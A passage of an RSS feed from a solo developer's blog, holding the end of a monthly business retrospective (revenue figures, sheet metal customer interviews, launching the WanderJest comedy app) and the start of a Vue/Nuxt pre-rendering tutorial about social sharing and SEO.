 &lt;td>Unique Visitors&lt;/td>
 &lt;td>27,981&lt;/td>
 &lt;td>26,891&lt;/td>
 &lt;td>&lt;font color="red">-1,090 (-4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>69,090&lt;/td>
 &lt;td>68,389&lt;/td>
 &lt;td>&lt;font color="red">-701 (-1%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>4.3&lt;/td>
 &lt;td>26.0&lt;/td>
 &lt;td>&lt;font color="green">+21.7 (+505%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>14&lt;/td>
 &lt;td>15&lt;/td>
 &lt;td>&lt;font color="green">+1 (+7%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>1,654&lt;/td>
 &lt;td>2,979&lt;/td>
 &lt;td>&lt;font color="green">+1,325 (+80%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$151.07&lt;/td>
 &lt;td>$235.71&lt;/td>
 &lt;td>&lt;font color="green">+$84.64 (+56%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$118.00&lt;/td>
 &lt;td>$157.08&lt;/td>
 &lt;td>&lt;font color="green">+$39.08 (+33%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$269.07&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$392.79&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$123.72 (+46%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>This was a record month for Is It Keto, beating out the previous record of &lt;a href="https://mtlynch.io/retrospectives/2019/09/#is-it-keto">$379.80 in August 2019&lt;/a>.&lt;/p>
&lt;p>The revenue was a bit of a surprise given that traffic has been waning for the past few months, as nobody wants to think about dieting over the holidays. But the holidays also mean higher advertiser spend and increased customer purchasing on Amazon, so my revenue per mille (RPM) rose substantially to $5.70 per thousand pageviews, also a record high.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2019&lt;/th>
 &lt;th>December 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>232&lt;/td>
 &lt;td>207&lt;/td>
 &lt;td>&lt;font color="red">-25 (-11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>320&lt;/td>
 &lt;td>594&lt;/td>
 &lt;td>&lt;font color="green">+274 (+86%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$65.33&lt;/td>
 &lt;td>$52.24&lt;/td>
 &lt;td>&lt;font color="red">-$13.09 (-20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Plan Earnings&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$3883.70&lt;/td>
 &lt;td>&lt;font color="green">+$3883.70 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$65.33&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$3935.94&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$3870.61 (+5925%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>December was a huge month for Zestful. A fast-moving startup told me that Zestful was exactly what they needed. We hopped on a call that same day, they tested it out using the standard plan, and then purchased an enterprise plan two days later. It was Zestful&amp;rsquo;s biggest sale ever, and it more than doubled my total business revenue for the year. They&amp;rsquo;ve been satisfied with the service so far, so I hope they continue working with Zestful on a recurring basis.&lt;/p>
&lt;p>Last month, I &lt;a href="https://mtlynch.io/retrospectives/2019/12/#rewriting-the-zestful-website-out-of-spite">got all excited&lt;/a> because I thought that rewriting the Zestful website as a static site would improve its SEO. Sadly, Google Search Console suggests that it had a negligible impact:&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 706px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/01/zestful-search-console.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 706px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/01/zestful-search-console_hu_2e2f719d16b6f57b.jpg 300w, https://mtlynch.io/retrospectives/2020/01/zestful-search-console_hu_cdcdcec26a276fef.jpg 600w, https://mtlynch.io/retrospectives/2020/01/zestful-search-console.jpg 704w'
 src="https://mtlynch.io/retrospectives/2020/01/zestful-search-console.jpg" alt="Screenshot from Zestful&amp;#39;s Google Search Console performance" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Rewriting the Zestful website as a static site seems not to have affected Google search performance.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Still, the enterprise customer approached me only a few days after I rewrote the site, so I can pretend to myself that the rewrite was responsible for ~$3.9k in additional revenue.&lt;/p>
&lt;h2 id="sheet-metal-research">Sheet metal research&lt;/h2>
&lt;p>At the end of November, I met the owner of a &lt;a href="https://mtlynch.io/retrospectives/2019/12/#interviewing-machine-shops">sheet metal shop&lt;/a> who was interested in talking with me about creating software specifically for sheet metal producers.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/01/russ-ward-aMlbxs8SYig-unsplash.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/01/russ-ward-aMlbxs8SYig-unsplash_hu_1ff5d91f6bdcf101.jpg 300w, https://mtlynch.io/retrospectives/2020/01/russ-ward-aMlbxs8SYig-unsplash_hu_3f2c61567b59033e.jpg 600w, https://mtlynch.io/retrospectives/2020/01/russ-ward-aMlbxs8SYig-unsplash_hu_22f9e4c3522086f3.jpg 800w, https://mtlynch.io/retrospectives/2020/01/russ-ward-aMlbxs8SYig-unsplash_hu_b7cad5c94626bcec.jpg 1200w, https://mtlynch.io/retrospectives/2020/01/russ-ward-aMlbxs8SYig-unsplash.jpg 3600w'
 src="https://mtlynch.io/retrospectives/2020/01/russ-ward-aMlbxs8SYig-unsplash.jpg" alt="Photograph of a person cutting metal" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Software for sheet metal shops ticked a lot of my boxes:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s an industry that earns a lot of money, but it&amp;rsquo;s un-sexy and not very tech-connected, so it could be a hidden gem.&lt;/li>
&lt;li>It seems to be more common in my area than in big cities, so I&amp;rsquo;d have an advantage over more mainstream software companies.&lt;/li>
&lt;li>I had at least one customer who was engaged and interested in teaching me about the space and open to piloting new software.&lt;/li>
&lt;/ul>
&lt;p>I spent most of December researching existing solutions and visiting sheet metal shops to request interviews.&lt;/p>
&lt;h2 id="we-dont-want-an-app-that-matches-our-use-case">&amp;ldquo;We don&amp;rsquo;t want an app that matches our use case.&amp;rdquo;&lt;/h2>
&lt;p>One of my most interesting interviews was with a shop owner who described himself as technically illiterate. He told me that he was currently paying thousands of dollars per year for &lt;a href="https://www.shoptech.com/" rel="nofollow">E2 ShopTech&lt;/a>, a general-purpose enterprise planning application for mid-sized machine shops.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/01/shoptech.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/01/shoptech_hu_321a58e5fb34a065.png 300w, https://mtlynch.io/retrospectives/2020/01/shoptech_hu_a9cfdab77d50b3cc.png 600w, https://mtlynch.io/retrospectives/2020/01/shoptech_hu_671081b8ecd26e92.png 800w, https://mtlynch.io/retrospectives/2020/01/shoptech_hu_19af845afb975b6d.png 1200w, https://mtlynch.io/retrospectives/2020/01/shoptech.png 1211w'
 src="https://mtlynch.io/retrospectives/2020/01/shoptech.png" alt="Screenshot of E2 ShopTech software" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>E2 ShopTech is a enterprise planning application for mid-sized machine shops.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The owner seemed satisfied with his software but said that he only used 2% of its features. My ears perked right up when I heard that. This is the exact scenario that books like &lt;a href="https://mtlynch.io/book-reports/start-small-stay-small/">&lt;em>Start Small, Stay Small&lt;/em>&lt;/a> describe. If a business uses bloated software because nobody caters to their specific niche, you can outcompete a larger vendor if you focus on the 2% of features that matter to your customer niche.&lt;/p>
&lt;p>The owner had repeatedly said he didn&amp;rsquo;t like dealing with software, so I thought offering a simpler solution would be a slam dunk:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Me&lt;/strong>: What if I made something that just focused on the 2% that you use, so that there&amp;rsquo;s less complexity?&lt;/p>
&lt;p>&lt;strong>Owner&lt;/strong>: Wouldn&amp;rsquo;t be interested.&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: Really? Why not?&lt;/p>
&lt;p>&lt;strong>Owner&lt;/strong>: Because ShopTech already has everything we could ever need built-in. Suppose we get ISO 9001 certified. With ShopTech, we just flip a switch, and we have all the ISO 9001 features we need. If you made something that&amp;rsquo;s only what we use &lt;strong>now&lt;/strong>, we&amp;rsquo;d be stuck.&lt;/p>&lt;/blockquote>
&lt;p>It made me realize that there&amp;rsquo;s some nuance to the idea that people want software that perfectly matches their use case. The example in &lt;em>Start Small, Stay Small&lt;/em> is that if you design accounting software specifically for web designers, your target audience will choose you over general-purpose accounting software like Xero or QuickBooks, even if you&amp;rsquo;re more expensive. But that works because web designers&amp;rsquo; accounting needs stay relatively static. Even if they drastically change the jobs they take on, they likely don&amp;rsquo;t need to change much about their accounting software.&lt;/p>
&lt;p>When software is more core to a business, they&amp;rsquo;re more likely to want room to grow. I do the same thing in my own work. There are niche platforms like &lt;a href="https://heroku.com/">Heroku&lt;/a> and &lt;a href="https://www.netlify.com/">Netlify&lt;/a> that cater to developers with simple use cases, but I build almost everything on Google Cloud Platform. It&amp;rsquo;s often frustratingly complex, but I&amp;rsquo;m unlikely to find features gaps because it has so many services built-in, even if I currently only use 1% of them.&lt;/p>
&lt;h2 id="managed-service-no-thanks">&amp;ldquo;Managed service? No thanks&amp;hellip;&amp;rdquo;&lt;/h2>
&lt;p>Another recurring theme in interviews was that nobody wanted a managed service. This surprised me because so much of the trend in software in the last 20 years has been toward SaaS, managed services, and monthly payments. Sheet metal shops wanted none of it.&lt;/p>
&lt;p>While SaaS businesses often highlight the advantages of low up-front cost and minimal IT maintenance, sheet metal shops didn&amp;rsquo;t value these things. Independence mattered far more than convenience or cost. Multiple shops told me that they didn&amp;rsquo;t want their businesses grinding to a halt because their software vendor went out of business or experienced a network outage. I asked if they minded maintaining their own servers, and I was surprised to hear consistent &amp;ldquo;no&amp;quot;s.&lt;/p>
&lt;p>Given that some of these businesses have been operating for 70+ years, I see why they plan to outlast their software vendors. Still, this sentiment surprised me because it seemed to contradict most of the conventional wisdom about SaaS sales.&lt;/p>
&lt;h2 id="giving-up-on-sheet-metal">Giving up on sheet metal&lt;/h2>
&lt;p>I had hoped that the software industry had ignored sheet metal shops so completely that they&amp;rsquo;d be doing everything on paper or in Excel spreadsheets. And while there is indeed a dearth of software specifically for sheet metal shops, there&amp;rsquo;s plenty of software for machine shops, and sheet metal shops are a type of machine shop:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://jobboss.com/" rel="nofollow">JobBoss&lt;/a>: Entry-level, general-purpose machine shop software&lt;/li>
&lt;li>&lt;a href="https://www.shoptech.com/" rel="nofollow">E2 ShopTech&lt;/a>: Mid-range, general-purpose machine shop software&lt;/li>
&lt;li>&lt;a href="https://www.paperlessparts.com/" rel="nofollow">Paperless Parts&lt;/a>: Specifically for job estimation&lt;/li>
&lt;/ul>
&lt;p>The existing competitors weren&amp;rsquo;t dealbreakers because:&lt;/p>
&lt;ol>
&lt;li>They &lt;a href="https://mtlynch.io/retrospectives/2019/12/#interviewing-machine-shops">seemed pretty bad&lt;/a>.&lt;/li>
&lt;li>I thought I could outcompete them with a leaner solution that caters specifically to sheet metal.&lt;/li>
&lt;/ol>
&lt;p>The next problem was that the customers seemed to have disjoint needs. Shop A said they were in desperate need of software for creating customer quotes, while Shop B said they&amp;rsquo;d love software for managing inventory, but they didn&amp;rsquo;t care that much about creating quotes. Shop C said they were interested in managing labor capacity, but they weren&amp;rsquo;t interested in quotes or inventory. This made it hard to develop a minimum viable product because there didn&amp;rsquo;t seem to be a simple solution that would satisfy more than one customer at a time.&lt;/p>
&lt;p>The worst problem was that nobody was particularly engaged, aside from the shop owner who initially gave me the idea. Among owners who spoke to me, the max level of interest of I received was, &amp;ldquo;mildly curious.&amp;rdquo; They didn&amp;rsquo;t invest anything into moving forward, and they didn&amp;rsquo;t respond when I followed up on our conversations via email.&lt;/p>
&lt;p>At the end of December, I decided to stop pursuing the sheet metal idea and go back to the drawing board.&lt;/p>
&lt;h2 id="the-push-i-needed-towards-comedy">The push I needed towards comedy&lt;/h2>
&lt;p>Before I officially closed the door on the sheet metal app, I attended a &lt;a href="https://valleyventurementors.org/">startup event&lt;/a> where I met Brian and Heather Johnson of &lt;a href="https://www.gozynta.com/">Gozynta&lt;/a>. They kindly invited me to their home the following week to offer me mentorship based on their years of experience running a software business.&lt;/p>
&lt;p>They were skeptical about the sheet metal app. Heather worried that it would be hard for me to remain passionate about sheet metal since it&amp;rsquo;s so outside of my interests. Brian asked me if I was considering any other ideas.&lt;/p>
&lt;blockquote>
&lt;p>Well, there&amp;rsquo;s one I&amp;rsquo;ve always wanted to build, but I can&amp;rsquo;t figure out a way for it to make money&amp;hellip;&lt;/p>&lt;/blockquote>
&lt;p>They were intrigued.&lt;/p>
&lt;p>Comedy has always been one of my passions. Starting in college and for several years after, I performed comedy. I love seeing shows — stand-up, improv, sketch — I love it all.&lt;/p>
&lt;p>Finding shows was always a challenge for two reasons:&lt;/p>
&lt;ol>
&lt;li>I knew there was a ton of great comedy around me, but there was no unified view of all the shows on a given night.&lt;/li>
&lt;li>My favorite comedians would come to town, but I&amp;rsquo;d completely miss them because I had no way of discovering they were coming.&lt;/li>
&lt;/ol>
&lt;p>I wished for an app like &lt;a href="https://bandsintown.com" rel="nofollow">Bandsintown&lt;/a>, but for comedy.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/01/bandsintown.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/01/bandsintown_hu_2adefcb7838dec7b.png 300w, https://mtlynch.io/retrospectives/2020/01/bandsintown_hu_aa64d8f02b941cfc.png 600w, https://mtlynch.io/retrospectives/2020/01/bandsintown_hu_430dcd849dbdad8.png 800w, https://mtlynch.io/retrospectives/2020/01/bandsintown_hu_c81d7759710d088c.png 1200w, https://mtlynch.io/retrospectives/2020/01/bandsintown.png 1296w'
 src="https://mtlynch.io/retrospectives/2020/01/bandsintown.png" alt="Screenshot of Bandsintown website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Bandsintown is an app that helps you discover when your favorite musical performers are nearby.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Brian and Heather found this idea exciting. What&amp;rsquo;s more, they saw that it energized &lt;em>me&lt;/em>. &amp;ldquo;Look at the way you light up when you talk about that idea!&amp;rdquo; Heather said. &amp;ldquo;You&amp;rsquo;re so much more excited about that than the sheet metal idea.&amp;rdquo; Still, I was apprehensive. Most comedians earn very little, so how could a new business in this space earn enough to survive?&lt;/p>
&lt;p>Brian pointed out that &lt;em>someone&lt;/em> has to be making money in comedy. Maybe it&amp;rsquo;s not local comedians, but there are larger comedians, venues, promoters, etc. What convinced me was the number of different possible revenue streams he saw:&lt;/p>
&lt;ul>
&lt;li>The app could be like SquareSpace but specialized for comedians who want a simple way to manage their web presence.&lt;/li>
&lt;li>I could sell event data to larger providers who want information about entertainment options in a particular city.&lt;/li>
&lt;li>Venues could pay me a referral fee for tickets sold through my site.&lt;/li>
&lt;li>Venues or performers could pay for a featured position in my listings (similar to sponsored results in Google or Yelp).&lt;/li>
&lt;/ul>
&lt;p>These options would make it easy for me to pivot to different strategies if one idea didn&amp;rsquo;t work.&lt;/p>
&lt;h2 id="the-wanderjest-mvp">The WanderJest MVP&lt;/h2>
&lt;p>After only five days of development, I had a minimum viable product (MVP) for my app, WanderJest:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1298px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/01/wanderjest.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1298px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/01/wanderjest_hu_77fe6e5de3991b21.png 300w, https://mtlynch.io/retrospectives/2020/01/wanderjest_hu_8ca0e20f1cf1e7d1.png 600w, https://mtlynch.io/retrospectives/2020/01/wanderjest_hu_f1f1d63587e52a45.png 800w, https://mtlynch.io/retrospectives/2020/01/wanderjest_hu_dac76461b4079ea8.png 1200w, https://mtlynch.io/retrospectives/2020/01/wanderjest.png 1296w'
 src="https://mtlynch.io/retrospectives/2020/01/wanderjest.png" alt="Screenshot of WanderJest website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My initial version of &lt;a href="https://wanderjest.com">WanderJest&lt;/a>, an app for discovering local live comedy.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s currently just a directory of shows and comedians performing in the Western Massachusetts area, but it&amp;rsquo;s enough that people understand the idea and are excited about it.&lt;/p>
&lt;p>It&amp;rsquo;s the fastest I&amp;rsquo;ve ever produced an MVP, and the speed is due to my experience over the last couple of years:&lt;/p>
&lt;ul>
&lt;li>After &lt;a href="https://mtlynch.io/tags/what-got-done/">What Got Done&lt;/a>, I gained comfort in the &lt;a href="https://vuejs.org/">Vue web framework&lt;/a>, so it&amp;rsquo;s easy for me to put together a prototype website quickly.&lt;/li>
&lt;li>After &lt;a href="https://mtlynch.io/tags/ketohub/">KetoHub&lt;/a>, I learned not to get hung up on automating the data scraping step of building an aggregator. Instead, I added all the shows to WanderJest manually.
&lt;ul>
&lt;li>There&amp;rsquo;s no database; everything is hardcoded right in the source code (gross!).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Of any business I&amp;rsquo;ve created, WanderJest has had the most traction out of the gate. So far, I&amp;rsquo;ve reached out to seven people (comedians, promoters, and venue owners), and everyone has agreed to speak with me. I already have one verbal agreement to run ads for a local comedy workshop in exchange for a percentage of any sales I generate.&lt;/p>
&lt;h2 id="next-steps-for-wanderjest">Next steps for WanderJest&lt;/h2>
&lt;p>The Michael from 2018 would have spent the next six months implementing feature ideas that I think are cool and deferred worries about earning money until later. By now, I&amp;rsquo;ve realized that generating revenue is extremely difficult, so I need to solve that problem before anything else.&lt;/p>
&lt;p>So, I&amp;rsquo;m following the money. Over the next few weeks, I&amp;rsquo;m reaching out to people who earn money in the local comedy space, which seems to be venue owners and bookers. WanderJest currently caters exclusively to Western Massachusetts, which has the advantage of being my home turf but the disadvantage that not much money is changing hands for comedy around here. The people I&amp;rsquo;ve spoken to so far have suggested expanding to nearby Connecticut, which apparently has a more lucrative comedy scene.&lt;/p>
&lt;p>I&amp;rsquo;m also going to be attending as many local shows as I can. Partly because it&amp;rsquo;s helpful for me to make contacts in the comedy scene, but also because it&amp;rsquo;s fun that I get to go see comedy shows and count it as &amp;ldquo;work.&amp;rdquo;&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>I created a minimum viable product for WanderJest.&lt;/li>
&lt;li>I sold my biggest enterprise plan ever for Zestful.&lt;/li>
&lt;li>I &lt;a href="https://github.com/mtlynch/mtlynch.io/pull/500">ported&lt;/a> this blog from Jekyll to Hugo
&lt;ul>
&lt;li>It was a lot of &lt;a href="https://github.com/mtlynch/migrate-mtlynch-to-hugo">tedious work&lt;/a>, but editing posts is &lt;a href="https://twitter.com/deliberatecoder/status/1213966412793991168">&lt;em>so&lt;/em> much easier&lt;/a> now.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Businesses don&amp;rsquo;t always want apps that perfectly match their use cases.
&lt;ul>
&lt;li>If it&amp;rsquo;s a business that could easily grow in different directions, a small, simple feature set becomes a constraint.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Older businesses seem to value independence more highly and take fewer risks on SaaS providers.&lt;/li>
&lt;li>There&amp;rsquo;s value in a business idea that offers many directions to pivot.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Earn my first dollar of revenue from WanderJest.&lt;/li>
&lt;li>Conduct eight interviews for WanderJest with comedians, bookers, promoters, and venue owners.&lt;/li>
&lt;li>Publish a follow up to &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">&amp;ldquo;My First Year as a Solo Developer,&amp;rdquo;&lt;/a> about year two.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Metal cutting photo by &lt;a href="https://web.archive.org/web/20230127224200/https://unsplash.com/@rssemfam?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText">Russ Ward&lt;/a> on Unsplash.&lt;/em>&lt;/p></content:encoded></item><item><title>A Simple Pre-Rendered Web App Using Vue + Nuxt</title><link>https://mtlynch.io/simple-vue-pre-rendered/</link><pubDate>Thu, 19 Dec 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/simple-vue-pre-rendered/</guid><description>&lt;p>In this post, I&amp;rsquo;ll show you how to pre-render pages using Vue and Nuxt. This method combines the convenient development experience of Vue without forfeiting critical features like social sharing or search engine optimization.&lt;/p>
&lt;p>This tutorial assumes no experience with Vue or Nuxt. I&amp;rsquo;ll explain everything along the way.&lt;/p>
&lt;h2 id="the-problem-with-vue">The problem with Vue&lt;/h2>
&lt;p>Like Angular and React, Vue is a framework for building single-page apps (SPAs). While traditional websites force the browser to download a whole new page every time the user clicks a link within your site, SPAs keep everything on a single page. When the user navigates around your site, JavaScript simply draws a new page without pulling everything down from the server again. This cuts out slow network calls between the user&amp;rsquo;s browser and your web server, resulting in a user experience that feels speedy and smooth.&lt;/p></description><content:encoded>&lt;p>In this post, I&amp;rsquo;ll show you how to pre-render pages using Vue and Nuxt. This method combines the convenient development experience of Vue without forfeiting critical features like social sharing or search engine optimization.&lt;/p>
&lt;p>This tutorial assumes no experience with Vue or Nuxt. I&amp;rsquo;ll explain everything along the way.&lt;/p>
&lt;h2 id="the-problem-with-vue">The problem with Vue&lt;/h2>
&lt;p>Like Angular and React, Vue is a framework for building single-page apps (SPAs). While traditional websites force the browser to download a whole new page every time the user clicks a link within your site, SPAs keep everything on a single page. When the user navigates around your site, JavaScript simply draws a new page without pulling everything down from the server again. This cuts out slow network calls between the user&amp;rsquo;s browser and your web server, resulting in a user experience that feels speedy and smooth.&lt;/p>
&lt;p>The tradeoff for Vue&amp;rsquo;s responsiveness is that you have less control over your pages&amp;rsquo; initial HTML. When the browser fetches an SPA from the server, it receives HTML that looks something like the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">head&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">title&lt;/span>&amp;gt;My Awesome Website&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">title&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">head&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span> &lt;span style="color:#bbb">id&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;app&amp;#34;&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">&amp;lt;!-- app.js populates the rest of the page after the browser executes the script. --&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span> &lt;span style="color:#bbb">type&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;text/javascript&amp;#34;&lt;/span> &lt;span style="color:#bbb">src&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;app.js&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Because it&amp;rsquo;s a &lt;em>single page&lt;/em> app, that HTML stub is the same for every page on your site. In other words, if the user visits &lt;code>yoursite.com/about&lt;/code> or &lt;code>yoursite.com/contact&lt;/code>, the server sends them the same HTML stub for both pages. JavaScript is responsible for figuring out the path and drawing the appropriate page after it executes in the user&amp;rsquo;s browser.&lt;/p>
&lt;p>Dynamic page rendering is a neat innovation that makes site navigation faster, but it creates problems when you connect your site to social networks or search engines.&lt;/p>
&lt;h2 id="spa-problem-1-social-sharing">SPA problem #1: Social sharing&lt;/h2>
&lt;p>When I share my blog posts on Twitter, they look like this:&lt;/p>













 

 








 
 
 







&lt;figure class="img" style="max-width: 592px">



 &lt;a href="https://mtlynch.io/simple-vue-pre-rendered/twitter-card.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 592px, 98vw"
 srcset='https://mtlynch.io/simple-vue-pre-rendered/twitter-card_hu_3b82feb3c1870d90.jpg 300w, https://mtlynch.io/simple-vue-pre-rendered/twitter-card.jpg 590w'
 src="https://mtlynch.io/simple-vue-pre-rendered/twitter-card.jpg" alt="Example of a rich Twitter card" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Using Open Graph tags so that Twitter generates rich cards for my posts.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Twitter generates that card based on HTML tags in my page that follow the &lt;a href="https://ogp.me/">Open Graph&lt;/a> standard. For example, to specify the image in the card, I add a tag that looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">meta&lt;/span> &lt;span style="color:#bbb">property&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;og:image&amp;#34;&lt;/span> &lt;span style="color:#bbb">content&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;https://mtlynch.io/post-42/cover.jpg&amp;#34;&lt;/span> /&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If your site is an SPA, then all of your pages share the same HTML skeleton and thus the same Open Graph tags. The dominant social networks like Twitter and Facebook require Open Graph tags to be present before any JavaScript executes. The result is that you can&amp;rsquo;t create unique Twitter cards or Facebook cards for the different pages on your site.&lt;/p>
&lt;h2 id="spa-problem-2-search-engine-optimization-seo">SPA problem #2: Search engine optimization (SEO)&lt;/h2>
&lt;p>Unlike social networking sites, search engines &lt;em>do&lt;/em> render websites using JavaScript. The problem is that &lt;a href="https://twitter.com/JohnMu/status/1018956456304037893">they can&amp;rsquo;t do it perfectly&lt;/a>.&lt;/p>
